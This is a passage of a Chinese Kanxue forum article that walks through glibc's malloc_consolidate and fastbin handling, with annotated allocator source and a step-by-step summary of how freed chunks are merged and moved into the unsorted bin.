/* Otherwise, relay to handle system-dependent cases */ else//如果都不匹配or不存在 fastbin,则扩展top chunk。 { void *p = sysmalloc (nb, av); if (p != NULL) alloc_perturb (p, bytes); return p; }


free的堆块大小大于fastbin中的最大size。(注意这里并不是指当前fastbin中最大chunk的size,而是指fastbin中所定义的最大chunk的size,是一个固定值。)


if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) { if (have_fastchunks(av))malloc_consolidate(av);


合并过程


malloc_consolidate既可以作为fastbin的初始化函数,也可以作为fastbin的合并函数。


static void malloc_consolidate(mstate av){ mfastbinptr* fb; /* current fastbin being consolidated */ mfastbinptr* maxfb; /* last fastbin (for loop control) */ mchunkptr p; /* current chunk being consolidated */ mchunkptr nextp; /* next chunk to consolidate */ mchunkptr unsorted_bin; /* bin header */ mchunkptr first_unsorted; /* chunk to link to */
/* These have same use as in free() */ mchunkptr nextchunk; INTERNAL_SIZE_T size; INTERNAL_SIZE_T nextsize; INTERNAL_SIZE_T prevsize; int nextinuse; mchunkptr bck; mchunkptr fwd;
/* If max_fast is 0, we know that av hasn't yet been initialized, in which case do so below */
if (get_max_fast () != 0) { //max_fast为fastbin的最大大小 (av);
unsorted_bin = unsorted_chunks(av);
maxfb = &fastbin (av, NFASTBINS - 1); fb = &fastbin (av, 0); do { p = atomic_exchange_acq (fb, 0); if (p != 0) { do { //这是一个大循环,循环遍历fastbin中的chunk check_inuse_chunk(av, p); nextp = p->fd;
/* Slightly streamlined version of consolidation code in free() */ size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA); nextchunk = chunk_at_offset(p, size); nextsize = chunksize(nextchunk);
if (!prev_inuse(p)) { //当pre in use位为0,即物理相邻的上一块是free状态,合并 prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); }
if (nextchunk != av->top) { nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
if (!nextinuse) { //物理相邻的下一个chunk为free状态,合并 size += nextsize; unlink(av, nextchunk, bck, fwd); } else clear_inuse_bit_at_offset(nextchunk, 0);
first_unsorted = unsorted_bin->fd; unsorted_bin->fd = p; first_unsorted->bk = p;//直接插入unsortedbin的头部
if (!in_smallbin_range (size)) { p->fd_nextsize = NULL; p->bk_nextsize = NULL; }
set_head(p, size | PREV_INUSE); p->bk = unsorted_bin; p->fd = first_unsorted; set_foot(p, size); }
else { size += nextsize; set_head(p, size | PREV_INUSE); av->top = p; }
} while ( (p = nextp) != 0);
} } while (fb++ != maxfb); } else { malloc_init_state(av); check_malloc_state(av); }}


1. 首先将与该块相邻的下一块的PREV_INUSE置为1。


2. 如果相邻的上一块为free,则合并,再判断相邻的下一块是否free,若free,则合并。


3. 不管是否完成合并,都会把fastbin或者完成合并以后的bin放到unsortbin中。(如果与top chunk相邻,则合并到top chunk中)这点尤其要注意,这也是为什么可以泄漏出libc基地址的原因。


(注意,这里代表,即使没有发生合并,也会将对应的fastbin的chunk放入unosrtedbin,比如我们有一个0x60、一个0x80、他们物理上不相邻,但都处于free状态,那么合并时他们俩都会被放入unsortedbin。)





参考


https://www.jianshu.com/p/d3fdeff8683f

 

https://wiki.x10sec.org/pwn/heap/heap_implementation_details/#large-bin

 

https://xz.aliyun.com/t/5177?accounttraceid=a5c0b873d40e445f90a2b0a7e8cde4a4fkam

 

https://bbs.pediy.com/thread-257742.htm



- End -



看雪ID:Ta1pax0s

https://bbs.pediy.com/user-home-876323.htm

  *本文由看雪论坛 Ta1pax0s 原创,转载请注明来自看雪社区。



推荐文章++++

* 搭建自己的符号服务器

* Linux Kernel Pwn_2_Kernel UAF

* Linux Kernel Pwn_1_Double fetch

* Linux Kernel Pwn_0_kernel ROP与驱动调试

* 使用Frida分析动态注册jni函数绑定流程







公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



求分享

求点赞

求在看


“阅读原文”一起来充电吧!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存